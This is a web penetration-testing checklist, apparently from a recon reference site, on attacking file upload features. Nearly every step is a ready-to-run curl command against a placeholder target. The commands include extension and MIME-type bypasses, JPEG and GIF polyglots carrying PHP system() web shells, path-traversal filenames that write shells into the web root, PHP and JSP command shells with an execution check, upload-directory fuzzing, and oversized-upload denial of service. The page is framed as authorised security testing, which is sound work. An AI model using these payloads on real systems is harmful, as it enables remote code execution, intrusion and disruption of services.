File Upload & Path Traversal
Test file upload functionality for unrestricted file types, path traversal, remote code execution, and storage-based vulnerabilities.
Tools
Machine-readable JSON available at:
https://reconatlas.pages.dev/api/checklists/file-upload-testingTags
// checklist steps
upload-01
Test file type restriction bypasses
Attempt to upload restricted file types by manipulating extensions, MIME types, and Content-Type headers to bypass client-side and server-side validation.
# Double extension bypass
curl -sk -F 'file=@shell.php.jpg' 'https://target.com/upload'
# Null byte injection (legacy systems)
curl -sk -F 'file=@shell.php%00.jpg' 'https://target.com/upload'
# MIME type manipulation
curl -sk -F 'file=@shell.php;type=image/jpeg' 'https://target.com/upload'
# Alternative extensions
curl -sk -F 'file=@shell.phtml' 'https://target.com/upload'
curl -sk -F 'file=@shell.phar' 'https://target.com/upload' Test all executable extensions for your target platform — .php, .php5, .phtml, .phar for PHP; .jsp, .jspx for Java; .asp, .aspx, .ashx for .NET. Also try case variations like .PhP.
upload-02
Test file content validation with magic bytes and polyglots
Bypass content-based validation by prepending valid file signatures (magic bytes) to malicious files or crafting polyglot files that are valid in multiple formats.
# Prepend JPEG magic bytes to PHP shell
printf '\xFF\xD8\xFF\xE0<?php system($_GET["cmd"]); ?>' > polyglot.php.jpg
curl -sk -F 'file=@polyglot.php.jpg' 'https://target.com/upload'
# GIF89a polyglot
printf 'GIF89a<?php system($_GET["cmd"]); ?>' > polyglot.gif
curl -sk -F 'file=@polyglot.gif;type=image/gif' 'https://target.com/upload' Some validators check only the first few bytes of a file. A polyglot that starts with valid image headers but contains embedded PHP code can pass image validation while remaining executable.
upload-03
Test path traversal in upload filenames
Manipulate the uploaded filename to write files to arbitrary directories using directory traversal sequences.
# Path traversal in filename
curl -sk -F 'file=@shell.php;filename=../../../var/www/html/shell.php' 'https://target.com/upload'
# URL-encoded traversal
curl -sk -F 'file=@shell.php;filename=..%2f..%2f..%2fshell.php' 'https://target.com/upload'
# Backslash traversal (Windows)
curl -sk -F 'file=@shell.php;filename=..\\..\\..\\shell.php' 'https://target.com/upload' Check the upload response for the stored file path. If the server reflects the storage location, you can confirm whether the traversal was successful and where the file landed.
upload-04
Test web shell upload and execution
Upload web shells in various languages and verify whether they are stored in an accessible location and executed by the web server.
# PHP web shell
echo '<?php system($_GET["cmd"]); ?>' > cmd.php
curl -sk -F 'file=@cmd.php' 'https://target.com/upload'
# JSP web shell
echo '<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>' > cmd.jsp
curl -sk -F 'file=@cmd.jsp' 'https://target.com/upload'
# Test execution
curl -sk 'https://target.com/uploads/cmd.php?cmd=id' After uploading, locate the file by checking response headers, API responses, or by fuzzing the uploads directory. Verify whether the server executes the file or serves it as a static download.
upload-05
Test storage location and access controls
Determine where uploaded files are stored and whether access controls prevent direct retrieval of other users' uploads.
# Fuzz for upload directories
ffuf -u 'https://target.com/FUZZ' -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302 | grep -iE '(upload|file|media|asset|static|attachment)'
# Test direct access to uploaded files
curl -sk 'https://target.com/uploads/'
# Test directory listing
curl -sk 'https://target.com/uploads/?C=M;O=D' Check whether uploaded files are served from the same origin or a separate storage domain. Files served from the application origin with executable permissions represent the highest risk.
upload-06
Test file size and content-length limits
Test for denial-of-service conditions by uploading oversized files, zero-byte files, and files with mismatched Content-Length headers.
# Large file upload (100MB)
dd if=/dev/zero of=large.bin bs=1M count=100 2>/dev/null && curl -sk -F 'file=@large.bin' 'https://target.com/upload'
# Zero-byte file
touch empty.txt && curl -sk -F 'file=@empty.txt' 'https://target.com/upload'
# Mismatched Content-Length
curl -sk -X POST 'https://target.com/upload' -H 'Content-Length: 999999999' -d 'small data' Unrestricted file sizes can lead to storage exhaustion. Also test whether the application handles concurrent large uploads gracefully without consuming excessive memory or disk space.
Overview
File upload vulnerabilities can lead to remote code execution when an attacker uploads and executes a web shell, or to data breaches when combined with path traversal to overwrite critical application files. Even without code execution, unrestricted uploads enable stored XSS via SVG/HTML files and denial of service through storage exhaustion.
Testing approach
Test file uploads from three angles: bypass the file type restrictions (extension, MIME, content), control the storage location (path traversal), and verify execution (web shell access). Each layer of defense may be implemented independently, so test each one separately.
Platform-specific considerations
The executable file types and path conventions differ by platform — .php and .phtml for Apache/PHP, .jsp and .jspx for Tomcat/Java, .asp and .aspx for IIS/.NET. Identify the target platform before selecting your payloads.
// references
- https://portswigger.net/web-security/file-upload
- https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
- https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html
- https://book.hacktricks.xyz/pentesting-web/file-upload
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files